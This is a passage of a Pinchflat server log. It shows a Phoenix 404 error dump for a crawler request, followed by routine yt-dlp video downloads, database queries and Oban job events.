"https://pinchflat.internal.ubrown.me/sources/1/media/58"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/58/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhiE_RVZjUK6wAAXEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/58/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47880}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/58", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/58/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/58/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47880}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/58", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5106.0>, params: %{}, path_info: ["sources", "1", "media", "58", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:50:28.964 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:41.215 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/0d/bd0d6a0240694fb346f83f0b1fbb0c5f5d96521bf82c8f05e627dc4e6320cea1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:50:41.225 [debug] Running yt-dlp command for action: download_thumbnail 22:50:41.233 [debug] QUERY OK source="settings" db=0.1ms idle=1169.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:41.233 [debug] QUERY OK source="settings" db=0.0ms idle=1170.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:41.233 [debug] QUERY OK source="settings" db=0.0ms idle=1170.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:41.233 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/107/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3b/9b/3b9bf503646f64aee9e43dd88e8c3065a6248f41b980cd6b529efa7397592ee2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:50:44.044 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/107/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3b/9b/3b9bf503646f64aee9e43dd88e8c3065a6248f41b980cd6b529efa7397592ee2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:50:44.044 [debug] QUERY OK db=0.0ms idle=1209.8ms begin [] 22:50:44.053 [debug] QUERY OK source="media_items" db=8.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:50:41Z], "/downloads/Last Meals/2024-01-09 Gordon Ramsay Eats His Last Meal/Gordon Ramsay Eats His Last Meal [ENhfIeZF_AY].mp4", ~U[2026-03-28 02:50:44Z], 107] 22:50:44.054 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/107/metadata.json.gz", "/config/metadata/media_items/107/thumbnail.jpg", 107, ~U[2026-03-28 02:50:44Z], ~U[2026-03-28 02:50:44Z]] 22:50:44.054 [debug] QUERY OK db=0.0ms commit [] 22:50:44.055 [debug] QUERY OK source="media_items" db=0.8ms idle=991.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [323299227, ~U[2026-03-28 02:50:44Z], 107] 22:50:44.055 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:50:44.055 [info] {"args":{"id":107},"id":106,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":109607875,"event":"job:stop","queue_time":7174447406,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:50:44.056 [debug] QUERY OK source="tasks" db=0.2ms idle=992.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:50:44.056 [debug] QUERY OK source="tasks" db=0.2ms idle=219.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:50:44.056 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:50:44.056 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:50:44.061 [info] {"args":{"id":109},"id":108,"meta":{},"system_time":1774666244061644103,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:50:44.062 [debug] QUERY OK source="media_items" db=0.2ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [109] 22:50:44.062 [debug] QUERY OK source="tasks" db=0.3ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:50:44.062 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:50:44.062 [debug] QUERY OK source="tasks" db=0.5ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:50:44.062 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:50:44.062 [debug] QUERY OK source="media_items" db=0.5ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [108, 109] 22:50:44.062 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [108, 109] 22:50:44.063 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:50:44.063 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [109] 22:50:44.063 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [109] 22:50:44.064 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:50:44.064 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:44.064 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:44.064 [debug] Running yt-dlp command for action: get_downloadable_status 22:50:44.064 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:44.064 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:44.064 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:44.065 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/27/32/27327522d3dbd7903104306d41a0f5c3f88300d05b005b3fe4f82e1289744dc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:50:46.646 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/27/32/27327522d3dbd7903104306d41a0f5c3f88300d05b005b3fe4f82e1289744dc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:50:46.646 [debug] Running yt-dlp command for action: download 22:50:46.647 [debug] QUERY OK source="settings" db=0.1ms idle=805.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:46.647 [debug] QUERY OK source="settings" db=0.0ms idle=583.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:46.647 [debug] QUERY OK source="settings" db=0.2ms idle=583.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:46.647 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/12/6a/126a5378182484b0f9f783d940d4389ced9acc3cc5a81e571b5444d08f378066.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:50:58.966 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.692 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:28.967 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:58.968 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.693 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:28.969 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:58.971 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.693 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:27.078 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/12/6a/126a5378182484b0f9f783d940d4389ced9acc3cc5a81e571b5444d08f378066.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:27.104 [debug] Running yt-dlp command for action: download_thumbnail 22:53:27.105 [debug] QUERY OK source="settings" db=0.1ms idle=1041.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:27.105 [debug] QUERY OK source="settings" db=0.0ms idle=1042.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:27.105 [debug] QUERY OK source="settings" db=0.1ms idle=1042.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:27.106 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/109/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f2/19/f219dc100ac0681c85fbd33179c9e6c5092056b17613d1eda297c35bd2a66b5b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:28.971 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:29.881 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sBRbMvTlUok --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/109/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f2/19/f219dc100ac0681c85fbd33179c9e6c5092056b17613d1eda297c35bd2a66b5b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:29.881 [debug] QUERY OK db=0.0ms idle=1746.3ms begin [] 22:53:29.890 [debug] QUERY OK source="media_items" db=8.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:53:27Z], "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", ~U[2026-03-28 02:53:29Z], 109] 22:53:29.890 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/109/metadata.json.gz", "/config/metadata/media_items/109/thumbnail.jpg", 109, ~U[2026-03-28 02:53:29Z], ~U[2026-03-28 02:53:29Z]] 22:53:29.890 [debug] QUERY OK db=0.0ms commit [] 22:53:29.902 [debug] QUERY OK source="media_items" db=0.9ms idle=930.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [525933450, ~U[2026-03-28 02:53:29Z], 109] 22:53:29.903 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:53:29.903 [info] {"args":{"id":109},"id":108,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":165841433,"event":"job:stop","queue_time":7280061391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:53:29.904 [debug] QUERY OK source="tasks" db=0.5ms idle=840.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN 